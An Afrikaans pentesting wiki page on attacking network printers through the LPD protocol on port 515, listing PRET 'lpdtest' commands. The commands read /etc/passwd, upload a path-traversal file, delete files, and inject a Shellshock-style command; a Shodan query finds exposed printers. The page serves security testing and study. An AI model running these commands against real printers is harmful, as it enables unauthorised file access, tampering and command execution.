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### **Inleiding tot LPD Protokol**

In die 1980's is die **Line Printer Daemon (LPD) protokol** ontwikkel in Berkeley Unix, wat later deur RFC1179 geformaliseer is. Hierdie protokol werk oor poort 515/tcp, wat interaksies deur die `lpr` opdrag moontlik maak. Die essensie van druk via LPD behels die stuur van 'n **beheerlêer** (om werksbesonderhede en gebruiker te spesifiseer) saam met 'n **data lêer** (wat die drukinligting bevat). Terwyl die beheerlêer die keuse van **verskeie lêerformate** vir die datalêer toelaat, word die hantering van hierdie lêers bepaal deur die spesifieke LPD implementering. 'n Algemeen erkende implementering vir Unix-agtige stelsels is **LPRng**. Opmerklik is dat die LPD protokol uitgebuit kan word om **kwaadwillige PostScript** of **PJL drukwerk** uit te voer.

### **Gereedskap vir Interaksie met LPD Drukkers**

[**PRET**](https://github.com/RUB-NDS/PRET) stel twee noodsaaklike gereedskap bekend, `lpdprint` en `lpdtest`, wat 'n eenvoudige metode bied om met LPD-ondersteunde drukkers te kommunikeer. Hierdie gereedskap stel 'n reeks aksies in staat, van die druk van data tot die manipulasie van lêers op die drukker, soos aflaai, oplaai of verwyder:
```python
# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local
```
Vir individue wat belangstel om die wêreld van **printer hacking** verder te verken, kan 'n omvattende hulpbron hier gevind word: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).

# Shodan

* `port 515`


{% hint style="success" %}
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